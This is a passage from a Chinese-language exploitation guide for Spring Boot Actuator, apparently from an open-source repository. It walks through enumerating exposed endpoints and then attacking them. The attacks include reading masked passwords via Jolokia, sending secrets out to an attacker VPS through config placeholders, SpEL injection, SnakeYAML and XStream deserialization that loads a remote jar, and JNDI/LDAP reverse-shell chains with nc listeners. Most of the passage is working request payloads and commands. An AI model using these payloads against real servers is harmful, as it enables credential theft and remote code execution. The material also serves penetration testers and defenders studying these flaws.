jsessionid](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E8%AE%BF%E9%97%AE%E8%B7%AF%E7%94%B1%E8%8E%B7%E5%BE%97-jsessionid) 109 | * [步骤二:准备要执行的 Java 代码](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E5%87%86%E5%A4%87%E8%A6%81%E6%89%A7%E8%A1%8C%E7%9A%84-java-%E4%BB%A3%E7%A0%81-1) 110 | * [步骤三:架设恶意 ldap 服务](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E6%9E%B6%E8%AE%BE%E6%81%B6%E6%84%8F-ldap-%E6%9C%8D%E5%8A%A1) 111 | * [步骤四:监听反弹 shell 的端口](#%E6%AD%A5%E9%AA%A4%E5%9B%9B%E7%9B%91%E5%90%AC%E5%8F%8D%E5%BC%B9-shell-%E7%9A%84%E7%AB%AF%E5%8F%A3-1) 112 | * [步骤五:发包触发 JNDI 注入](#%E6%AD%A5%E9%AA%A4%E4%BA%94%E5%8F%91%E5%8C%85%E8%A7%A6%E5%8F%91-jndi-%E6%B3%A8%E5%85%A5) 113 | * [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-6) 114 | * [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-6) 115 | * [0x08:mysql jdbc deserialization RCE](#0x08mysql-jdbc-deserialization-rce) 116 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-10) 117 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-10) 118 | * [步骤一:查看环境依赖](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9F%A5%E7%9C%8B%E7%8E%AF%E5%A2%83%E4%BE%9D%E8%B5%96) 119 | * [步骤二:架设恶意 rogue mysql server](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E6%9E%B6%E8%AE%BE%E6%81%B6%E6%84%8F-rogue-mysql-server) 120 | * [步骤三:设置 spring\.datasource\.url 属性](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E8%AE%BE%E7%BD%AE-springdatasourceurl-%E5%B1%9E%E6%80%A7) 121 | * [步骤四:刷新配置](#%E6%AD%A5%E9%AA%A4%E5%9B%9B%E5%88%B7%E6%96%B0%E9%85%8D%E7%BD%AE-1) 122 | * [步骤五:触发数据库查询](#%E6%AD%A5%E9%AA%A4%E4%BA%94%E8%A7%A6%E5%8F%91%E6%95%B0%E6%8D%AE%E5%BA%93%E6%9F%A5%E8%AF%A2) 123 | * [步骤六:恢复正常 jdbc url](#%E6%AD%A5%E9%AA%A4%E5%85%AD%E6%81%A2%E5%A4%8D%E6%AD%A3%E5%B8%B8-jdbc-url) 124 | * [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-6) 125 | * [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-7) 126 | * [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-7) 127 | 128 | 129 | 130 | ## 零:路由和版本 131 | 132 | ### 0x01:路由知识 133 | 134 | - Spring Boot 1.x 版本默认内置路由的根路径以 `/` 开始,2.x 则统一以 `/actuator` 开始 135 | - 有些程序员会自定义 `/manage`、`/management` 或 **项目相关名称** 为根路径 136 | - 默认内置路由名字,如 `/env` 有时候也会被程序员修改,如修改成 `/appenv` 137 | 138 | 139 | 140 | ### 0x02:版本知识 141 | 142 | > Spring Cloud 是基于 Spring Boot 来进行构建服务,并提供如配置管理、服务注册与发现、智能路由等常见功能的帮助快速开发分布式系统的系列框架的有序集合。 143 | 144 | 145 | 146 | #### 常见组件的版本相互依赖关系: 147 | 148 | | 依赖项 | 版本列表及依赖组件版本 | 149 | | -------------------------- | ------------------------------------------------------------ | 150 | | spring-boot-starter-parent | [spring-boot-starter-parent](https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-parent) | 151 | | spring-boot-dependencies | [spring-boot-dependencies](https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-dependencies) | 152 | | spring-cloud-dependencies | [spring-cloud-dependencies](https://mvnrepository.com/artifact/org.springframework.cloud/spring-cloud-dependencies) | 153 | 154 | 155 | 156 | #### Spring Cloud 与 Spring Boot 大版本之间的依赖关系: 157 | 158 | | Spring Cloud | Spring Boot | 159 | | ------------ | ------------------------------------ | 160 | | Angel | 兼容 Spring Boot 1.2.x | 161 | | Brixton | 兼容 Spring Boot 1.3.x、1.4.x | 162 | | Camden | 兼容 Spring Boot 1.4.x、1.5.x | 163 | | Dalston | 兼容 Spring Boot 1.5.x,不兼容 2.0.x | 164 | | Edgware | 兼容 Spring Boot 1.5.x,不兼容 2.0.x | 165 | | Finchley | 兼容 Spring Boot 2.0.x,不兼容 1.5.x | 166 | | Greenwich | 兼容 Spring Boot 2.1.x | 167 | | Hoxton | 兼容 Spring Boot 2.2.x | 168 | 169 | 170 | 171 | #### Spring Cloud 小版本号的后缀及含义: 172 | 173 | | 版本号后缀 | 含义 | 174 | | -------------- | --------------------------------------- | 175 | | BUILD-SNAPSHOT | 快照版,代码不是固定,处于变化之中 | 176 | | MX | 里程碑版 | 177 | | RCX | 候选发布版 | 178 | | RELEASE | 正式发布版 | 179 | | SRX | (修复错误和 bug 并再次发布的)正式发布版 | 180 | 181 | 182 | 183 | ## 一:信息泄露 184 | 185 | ### 0x01:路由地址及接口调用详情泄漏 186 | 187 | > 开发环境切换为线上生产环境时,相关人员没有更改配置文件或忘记切换配置环境,导致此漏洞 188 | > 189 | 190 | 191 | 192 | 直接访问以下几个路由,验证漏洞是否存在: 193 | 194 | ``` 195 | /api-docs 196 | /v2/api-docs 197 | /swagger-ui.html 198 | ``` 199 | 200 | 一些可能会遇到的接口路由变形: 201 | 202 | ``` 203 | /api.html 204 | /sw/swagger-ui.html 205 | /api/swagger-ui.html 206 | /template/swagger-ui.html 207 | /spring-security-rest/api/swagger-ui.html 208 | /spring-security-oauth-resource/swagger-ui.html 209 | ``` 210 | 211 | 212 | 213 | 除此之外,下面的路由有时也会包含(或推测出)一些接口地址信息,但是无法获得参数相关信息: 214 | 215 | ``` 216 | /mappings 217 | /actuator/mappings 218 | /metrics 219 | /actuator/metrics 220 | /beans 221 | /actuator/beans 222 | /configprops 223 | /actuator/configprops 224 | ``` 225 | 226 | 227 | 228 | **一般来讲,知道 spring boot 应用的相关接口和传参信息并不能算是漏洞**; 229 | 230 | 但是可以检查暴露的接口是否存在未授权访问、越权或者其他业务型漏洞。 231 | 232 | 233 | 234 | ### 0x02:配置不当而暴露的路由 235 | 236 | > 主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置 237 | 238 | 239 | 240 | 参考 [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) 和 [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt),可能因为配置不当而暴露的默认内置路由可能会有: 241 | 242 | ``` 243 | /actuator 244 | /auditevents 245 | /autoconfig 246 | /beans 247 | /caches 248 | /conditions 249 | /configprops 250 | /docs 251 | /dump 252 | /env 253 | /flyway 254 | /health 255 | /heapdump 256 | /httptrace 257 | /info 258 | /intergrationgraph 259 | /jolokia 260 | /logfile 261 | /loggers 262 | /liquibase 263 | /metrics 264 | /mappings 265 | /prometheus 266 | /refresh 267 | /scheduledtasks 268 | /sessions 269 | /shutdown 270 | /trace 271 | /threaddump 272 | /actuator/auditevents 273 | /actuator/beans 274 | /actuator/health 275 | /actuator/conditions 276 | /actuator/configprops 277 | /actuator/env 278 | /actuator/info 279 | /actuator/loggers 280 | /actuator/heapdump 281 | /actuator/threaddump 282 | /actuator/metrics 283 | /actuator/scheduledtasks 284 | /actuator/httptrace 285 | /actuator/mappings 286 | /actuator/jolokia 287 | /actuator/hystrix.stream 288 | ``` 289 | 290 | 291 | 292 | 其中对寻找漏洞比较重要接口的有: 293 | 294 | - `/env`、`/actuator/env` 295 | 296 | GET 请求 `/env` 会泄露环境变量信息,或者配置中的一些用户名,当程序员的属性名命名不规范 (例如 password 写成 psasword、pwd) 时,会泄露密码明文; 297 | 298 | 同时有一定概率可以通过 POST 请求 `/env` 接口设置一些属性,触发相关 RCE 漏洞。 299 | 300 | - `/jolokia` 301 | 302 | 通过 `/jolokia/list` 接口寻找可以利用的 MBean,触发相关 RCE 漏洞; 303 | 304 | - `/trace` 305 | 306 | 一些 http 请求包访问跟踪信息,有可能发现有效的 cookie 信息 307 | 308 | 309 | 310 | ### 0x03:获取被星号脱敏的密码的明文 (方法一) 311 | 312 | > 访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果 313 | 314 | #### 利用条件: 315 | 316 | - 目标网站存在 `/jolokia` 或 `/actuator/jolokia` 接口 317 | - 目标使用了 `jolokia-core` 依赖(版本要求暂未知) 318 | 319 | 320 | 321 | #### 利用方法: 322 | 323 | ##### 步骤一: 找到想要获取的属性名 324 | 325 | GET 请求目标网站的 `/env` 或 `/actuator/env` 接口,搜索 `******` 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。 326 | 327 | 328 | 329 | ##### 步骤二: jolokia 调用相关 Mbean 获取明文 330 | 331 | 将下面示例中的 `security.user.password` 替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 `value` 键中。 332 | 333 | 334 | 335 | - 调用 `org.springframework.boot` Mbean(**可能更通用**) 336 | 337 | > 实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法 338 | 339 | spring 1.x 340 | 341 | ``` 342 | POST /jolokia 343 | Content-Type: application/json 344 | 345 | {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]} 346 | ``` 347 | 348 | spring 2.x 349 | 350 | ``` 351 | POST /actuator/jolokia 352 | Content-Type: application/json 353 | 354 | {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]} 355 | ``` 356 | 357 | 358 | 359 | - 调用 `org.springframework.cloud.context.environment` Mbean(**需要 spring cloud 相关依赖**) 360 | 361 | 362 | > 实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法 363 | 364 | spring 1.x 365 | 366 | ``` 367 | POST /jolokia 368 | Content-Type: application/json 369 | 370 | {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]} 371 | ``` 372 | 373 | spring 2.x 374 | 375 | ``` 376 | POST /actuator/jolokia 377 | Content-Type: application/json 378 | 379 | {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]} 380 | ``` 381 | 382 | 383 | 384 | ### 0x04:获取被星号脱敏的密码的明文 (方法二) 385 | 386 | > 访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果 387 | 388 | #### 利用条件: 389 | 390 | - 可以 GET 请求目标网站的 `/env` 391 | - 可以 POST 请求目标网站的 `/env` 392 | - 可以 POST 请求目标网站的 `/refresh` 接口刷新配置(存在 `spring-boot-starter-actuator` 依赖) 393 | - 目标使用了 `spring-cloud-starter-netflix-eureka-client` 依赖 394 | - 目标可以请求攻击者的服务器(请求可出外网) 395 | 396 | 397 | 398 | #### 利用方法: 399 | 400 | ##### 步骤一: 找到想要获取的属性名 401 | 402 | GET 请求目标网站的 `/env` 或 `/actuator/env` 接口,搜索 `******` 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。 403 | 404 | 405 | 406 | ##### 步骤二: 使用 nc 监听 HTTP 请求 407 | 408 | 在自己控制的外网服务器上监听 80 端口: 409 | 410 | ```bash 411 | nc -lvk 80 412 | ``` 413 | 414 | 415 | 416 | ##### 步骤三: 设置 eureka.client.serviceUrl.defaultZone 属性 417 | 418 | 将下面 `http://value:${security.user.password}@your-vps-ip` 中的 `security.user.password` 换成自己想要获取的对应的星号 * 遮掩的属性名; 419 | 420 | `your-vps-ip` 换成自己外网服务器的真实 ip 地址。 421 | 422 | 423 | 424 | spring 1.x 425 | 426 | ``` 427 | POST /env 428 | Content-Type: application/x-www-form-urlencoded 429 | 430 | eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip 431 | ``` 432 | 433 | spring 2.x 434 | 435 | ``` 436 | POST /actuator/env 437 | Content-Type: application/json 438 | 439 | {"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"} 440 | ``` 441 | 442 | 443 | 444 | ##### 步骤四: 刷新配置 445 | 446 | spring 1.x 447 | 448 | ``` 449 | POST /refresh 450 | Content-Type: application/x-www-form-urlencoded 451 | 452 | ``` 453 | 454 | spring 2.x 455 | 456 | ``` 457 | POST /actuator/refresh 458 | Content-Type: application/json 459 | 460 | ``` 461 | 462 | 463 | 464 | ##### 步骤五: 解码属性值 465 | 466 | 正常的话,此时 nc 监听的服务器会收到目标发来的请求,其中包含类似如下 `Authorization` 头内容: 467 | 468 | ``` 469 | Authorization: Basic dmFsdWU6MTIzNDU2 470 | ``` 471 | 472 | 将其中的 `dmFsdWU6MTIzNDU2`部分使用 base64 解码,即可获得类似明文值 `value:123456`,其中的 `123456` 即是目标星号 * 脱敏前的属性值明文。 473 | 474 | 475 | 476 | ### 0x05:获取被星号脱敏的密码的明文 (方法三) 477 | 478 | > 访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果 479 | 480 | #### 利用条件: 481 | 482 | - 通过 POST `/env` 设置属性触发目标对外网指定地址发起任意 http 请求 483 | - 目标可以请求攻击者的服务器(请求可出外网) 484 | 485 | 486 | 487 | #### 利用方法: 488 | 489 | > 参考 UUUUnotfound 提出的 [issue-1](https://github.com/LandGrey/SpringBootVulExploit/issues/1),可以在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据 490 | 491 | ##### 步骤一: 找到想要获取的属性名 492 | 493 | GET 请求目标网站的 `/env` 或 `/actuator/env` 接口,搜索 `******` 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。 494 | 495 | 496 | 497 | ##### 步骤二: 使用 nc 监听 HTTP 请求 498 | 499 | 在自己控制的外网服务器上监听 80 端口: 500 | 501 | ```bash 502 | nc -lvk 80 503 | ``` 504 | 505 | 506 | 507 | ##### 步骤三: 触发对外 http 请求 508 | 509 | - `spring.cloud.bootstrap.location` 方法(**同时适用于**明文数据中有特殊 url 字符的情况): 510 | 511 | 512 | 513 | spring 1.x 514 | 515 | ``` 516 | POST /env 517 | Content-Type: application/x-www-form-urlencoded 518 | 519 | spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password} 520 | ``` 521 | 522 | spring 2.x 523 | 524 | ``` 525 | POST /actuator/env 526 | Content-Type: application/json 527 | 528 | {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"} 529 | ``` 530 | 531 | 532 | 533 | - `eureka.client.serviceUrl.defaultZone` 方法(**不适用于**明文数据中有特殊 url 字符的情况): 534 | 535 | 536 | 537 | spring 1.x 538 | 539 | ``` 540 | POST /env 541 | Content-Type: application/x-www-form-urlencoded 542 | 543 | eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password} 544 | ``` 545 | 546 | spring 2.x 547 | 548 | ``` 549 | POST /actuator/env 550 | Content-Type: application/json 551 | 552 | {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"} 553 | ``` 554 | 555 | 556 | 557 | ##### 步骤四: 刷新配置 558 | 559 | spring 1.x 560 | 561 | ``` 562 | POST /refresh 563 | Content-Type: application/x-www-form-urlencoded 564 | 565 | ``` 566 | 567 | spring 2.x 568 | 569 | ``` 570 | POST /actuator/refresh 571 | Content-Type: application/json 572 | 573 | ``` 574 | 575 | 576 | 577 | ## 二:远程代码执行 578 | 579 | > 由于 spring boot 相关漏洞可能是多个组件漏洞组合导致的,所以有些漏洞名字起的不太正规,以能区分为准 580 | 581 | 582 | 583 | ### 0x01:whitelabel error page SpEL RCE 584 | 585 | #### 利用条件: 586 | 587 | - spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0 588 | - 至少知道一个触发 springboot 默认错误页面的接口及参数名 589 | 590 | 591 | 592 | #### 利用方法: 593 | 594 | ##### 步骤一:找到一个正常传参处 595 | 596 | 比如发现访问 `/article?id=xxx` ,页面会报状态码为 500 的错误: `Whitelabel Error Page`,则后续 payload 都将会在参数 id 处尝试。 597 | 598 | 599 | 600 | ##### 步骤二:执行 SpEL 表达式 601 | 602 | 输入 `/article?id=${7*7}` ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。 603 | 604 | 由字符串格式转换成 `0x**` java 字节形式,方便执行任意代码: 605 | 606 | ```python 607 | # coding: utf-8 608 | 609 | result = "" 610 | target = 'open -a Calculator' 611 | for x in target: 612 | result += hex(ord(x)) + "," 613 | print(result.rstrip(',')) 614 | ``` 615 | 616 | 执行 `open -a Calculator` 命令 617 | 618 | ```java 619 | ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))} 620 | ``` 621 | 622 | 623 | 624 | #### 漏洞原理: 625 | 626 | 1. spring boot 处理参数值出错,流程进入 `org.springframework.util.PropertyPlaceholderHelper` 类中 627 | 2. 此时 URL 中的参数值会用 `parseStringValue` 方法进行递归解析 628 | 3. 其中 `${}` 包围的内容都会被 `org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration` 类的 `resolvePlaceholder` 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞 629 | 630 | 631 | 632 | #### 漏洞分析: 633 | 634 | ​ [SpringBoot SpEL表达式注入漏洞-分析与复现](https://www.cnblogs.com/litlife/p/10183137.html) 635 | 636 | 637 | 638 | #### 漏洞环境: 639 | 640 | [repository/springboot-spel-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce) 641 | 642 | 正常访问: 643 | 644 | ``` 645 | http://127.0.0.1:9091/article?id=66 646 | ``` 647 | 648 | 执行 `open -a Calculator` 命令: 649 | 650 | ```java 651 | http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))} 652 | ``` 653 | 654 | 655 | 656 | ### 0x02:spring cloud SnakeYAML RCE 657 | 658 | #### 利用条件: 659 | 660 | - 可以 POST 请求目标网站的 `/env` 接口设置属性 661 | - 可以 POST 请求目标网站的 `/refresh` 接口刷新配置(存在 `spring-boot-starter-actuator` 依赖) 662 | - 目标依赖的 `spring-cloud-starter` 版本 < 1.3.0.RELEASE 663 | - 目标可以请求攻击者的 HTTP 服务器(请求可出外网) 664 | 665 | 666 | 667 | #### 利用方法: 668 | 669 | ##### 步骤一: 托管 yml 和 jar 文件 670 | 671 | 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443) 672 | 673 | ```bash 674 | # 使用 python 快速开启 http server 675 | 676 | python2 -m SimpleHTTPServer 80 677 | python3 -m http.server 80 678 | ``` 679 | 680 | 681 | 682 | 在网站根目录下放置后缀为 `yml` 的文件 `example.yml`,内容如下: 683 | 684 | ```yaml 685 | !!javax.script.ScriptEngineManager [ 686 | !!java.net.URLClassLoader [[ 687 | !!java.net.URL ["http://your-vps-ip/example.jar"] 688 | ]] 689 | ] 690 | ``` 691 | 692 | 693 | 694 | 在网站根目录下放置后缀为 `jar` 的文件 `example.jar`,内容是要执行的代码,代码编写及编译方式参考 [yaml-payload](https://github.com/artsploit/yaml-payload)。 695 | 696 | 697 | 698 | ##### 步骤二: 设置 spring.cloud.bootstrap.location 属性 699 | 700 | spring 1.x 701 | 702 | ``` 703 | POST /env 704 | Content-Type: application/x-www-form-urlencoded 705 | 706 | spring.cloud.bootstrap.location=http://your-vps-ip/example.yml 707 | ``` 708 | 709 | spring 2.x 710 | 711 | ``` 712 | POST /actuator/env 713 | Content-Type: application/json 714 | 715 | {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"} 716 | ``` 717 | 718 | 719 | 720 | ##### 步骤三: 刷新配置 721 | 722 | spring 1.x 723 | 724 | ``` 725 | POST /refresh 726 | Content-Type: application/x-www-form-urlencoded 727 | 728 | ``` 729 | 730 | spring 2.x 731 | 732 | ``` 733 | POST /actuator/refresh 734 | Content-Type: application/json 735 | 736 | ``` 737 | 738 | 739 | 740 | #### 漏洞原理: 741 | 742 | 1. spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 URL 地址 743 | 2. refresh 触发目标机器请求远程 HTTP 服务器上的 yml 文件,获得其内容 744 | 3. SnakeYAML 由于存在反序列化漏洞,所以解析恶意 yml 内容时会完成指定的动作 745 | 4. 先是触发 java.net.URL 去拉取远程 HTTP 服务器上的恶意 jar 文件 746 | 5. 然后是寻找 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化 747 | 6. 实例化类时执行恶意代码,造成 RCE 漏洞 748 | 749 | 750 | 751 | #### 漏洞分析: 752 | 753 | ​ [Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记](https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/) 754 | 755 | 756 | 757 | #### 漏洞环境: 758 | 759 | [repository/springcloud-snakeyaml-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springcloud-snakeyaml-rce) 760 | 761 | 正常访问: 762 | 763 | ``` 764 | http://127.0.0.1:9092/env 765 | ``` 766 | 767 | 768 | 769 | ### 0x03:eureka xstream deserialization RCE 770 | 771 | #### 利用条件: 772 | 773 | - 可以 POST 请求目标网站的 `/env` 接口设置属性 774 | - 可以 POST 请求目标网站的 `/refresh` 接口刷新配置(存在 `spring-boot-starter-actuator` 依赖) 775 | - 目标使用的 `eureka-client` < 1.8.7(通常包含在 `spring-cloud-starter-netflix-eureka-client` 依赖中) 776 | - 目标可以请求攻击者的 HTTP 服务器(请求可出外网) 777 | 778 | 779 | 780 | #### 利用方法: 781 | 782 | ##### 步骤一:架设响应恶意 XStream payload 的网站 783 | 784 | 提供一个依赖 Flask 并符合要求的 [python 脚本示例](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py),作用是利用目标 Linux 机器上自带的 python 来反弹shell。 785 | 786 | 使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。 787 | 788 | 789 | 790 | ##### 步骤二:监听反弹 shell 的端口 791 | 792 | 一般使用 nc 监听端口,等待反弹 shell 793 | 794 | ```bash 795 | nc -lvp 443 796 | ``` 797 | 798 | 799 | 800 | ##### 步骤三:设置 eureka.client.serviceUrl.defaultZone 属性 801 | 802 | spring 1.x 803 | 804 | ``` 805 | POST /env 806 | Content-Type: application/x-www-form-urlencoded 807 | 808 | eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example 809 | ``` 810 | 811 | spring 2.x 812 | 813 | ``` 814 | POST /actuator/env 815 | Content-Type: application/json 816 | 817 | {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"} 818 | ``` 819 | 820 | 821 | 822 | ##### 步骤四:刷新配置 823 | 824 | spring 1.x 825 | 826 | ``` 827 | POST /refresh 828 | Content-Type: application/x-www-form-urlencoded 829 | 830 | ``` 831 | 832 | spring 2.x 833 | 834 | ``` 835 | POST /actuator/refresh 836 | Content-Type: application/json 837 | 838 | ``` 839 | 840 | 841 | 842 | #### 漏洞原理: 843 | 844 | 1. eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址 845 | 2. refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload 846 | 3. 目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞 847 | 848 | 849 | 850 | #### 漏洞分析: 851 | 852 | ​ [Spring Boot Actuator从未授权访问到getshell](https://www.freebuf.com/column/234719.html) 853 | 854 | 855 | 856 | #### 漏洞环境: 857 | 858 | [repository/springboot-eureka-xstream-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-eureka-xstream-rce) 859 | 860 | 正常访问: 861 | 862 | ``` 863 | http://127.0.0.1:9093/env 864 | ``` 865 | 866 | 867 | 868 | ### 0x04:jolokia logback JNDI RCE 869 | 870 | #### 利用条件: 871 | 872 | - 目标网站存在 `/jolokia` 或 `/actuator/jolokia` 接口 873 | - 目标使用了 `jolokia-core` 依赖(版本要求暂未知)并且环境中存在相关 MBean 874 | - 目标可以请求攻击者的 HTTP 服务器(请求可出外网) 875 | 876 | - JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式) 877 | 878 | 879 | 880 | #### 利用方法: 881 | 882 | ##### 步骤一:查看已存在的 MBeans 883 | 884 | 访问 `/jolokia/list` 接口,查看是否存在 `ch.qos.logback.classic.jmx.JMXConfigurator` 和 `reloadByURL` 关键词。 885 | 886 | 887 | 888 | ##### 步骤二:托管 xml 文件 889 | 890 | 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443) 891 | 892 | ```bash 893 | # 使用 python 快速开启 http server 894 | 895 | python2 -m SimpleHTTPServer 80 896 | python3 -m http.server 80 897 | ``` 898 | 899 | 900 | 901 | 在根目录放置以 `xml` 结尾的 `example.xml` 文件,内容如下: 902 | 903 | ```xml 904 | 905 | 906 | 907 | ``` 908 | 909 | 910 | 911 | ##### 步骤三:准备要执行的 Java 代码 912 | 913 | 编写优化过后的用来反弹 shell 的 [Java 示例代码](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java`, 914 | 915 | 使用兼容低版本 jdk 的方式编译: 916 | 917 | ```bash 918 | javac -source 1.5 -target 1.5 JNDIObject.java 919 | ``` 920 | 921 | 然后将生成的 `JNDIObject.class` 文件拷贝到 **步骤二** 中的网站根目录。 922 | 923 | 924 | 925 | ##### 步骤四:架设恶意 ldap 服务 926 | 927 | 下载 [marshalsec](https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 ldap 服务: 928 | 929 | ```bash 930 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389 931 | ``` 932 | 933 | 934 | 935 | ##### 步骤五:监听反弹 shell 的端口 936 | 937 | 一般使用 nc 监听端口,等待反弹 shell 938 | 939 | ```bash 940 | nc -lv 443 941 | ``` 942 | 943 | 944 | 945 | ##### 步骤六:从外部 URL 地址加载日志配置文件 946 | 947 | > ⚠️ 如果目标成功请求了example.xml 并且 marshalsec 也接收到了目标请求,但是目标没有请求 JNDIObject.class,大概率是因为目标环境的 jdk 版本太高,导致 JNDI 利用失败。 948 | 949 | 替换实际的 your-vps-ip 地址访问 URL 触发漏洞: 950 | 951 | ``` 952 | /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml 953 | ``` 954 | 955 | 956 | 957 | #### 漏洞原理: 958 | 959 | 1. 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 `ch.qos.logback.classic.jmx.JMXConfigurator` 类的 `reloadByURL` 方法 960 | 2. 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容 961 | 3. 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞) 962 | 4. xml 文件中利用 `logback` 依赖的 `insertFormJNDI` 标签,设置了外部 JNDI 服务器地址 963 | 5. 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞 964 | 965 | 966 | 967 | #### 漏洞分析: 968 | 969 | ​ [spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258) 970 | 971 | 972 | 973 | #### 漏洞环境: 974 | 975 | [repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce) 976 | 977 | 正常访问: 978 | 979 | ``` 980 | http://127.0.0.1:9094/env 981 | ``` 982 | 983 | 984 | 985 | ### 0x05:jolokia Realm JNDI RCE 986 | 987 | #### 利用条件: 988 | 989 | - 目标网站存在 `/jolokia` 或 `/actuator/jolokia` 接口 990 | - 目标使用了 `jolokia-core` 依赖(版本要求暂未知)并且环境中存在相关 MBean 991 | - 目标可以请求攻击者的服务器(请求可出外网) 992 | - JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI 方式) 993 | 994 | 995 | 996 | #### 利用方法: 997 | 998 | ##### 步骤一:查看已存在的 MBeans 999 | 1000 | 访问 `/jolokia/list` 接口,查看是否存在 `type=MBeanFactory` 和 `createJNDIRealm` 关键词。 1001 | 1002 | 1003 | 1004 | ##### 步骤二:准备要执行的 Java 代码 1005 | 1006 | 编写优化过后的用来反弹 shell 的 [Java 示例代码](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) 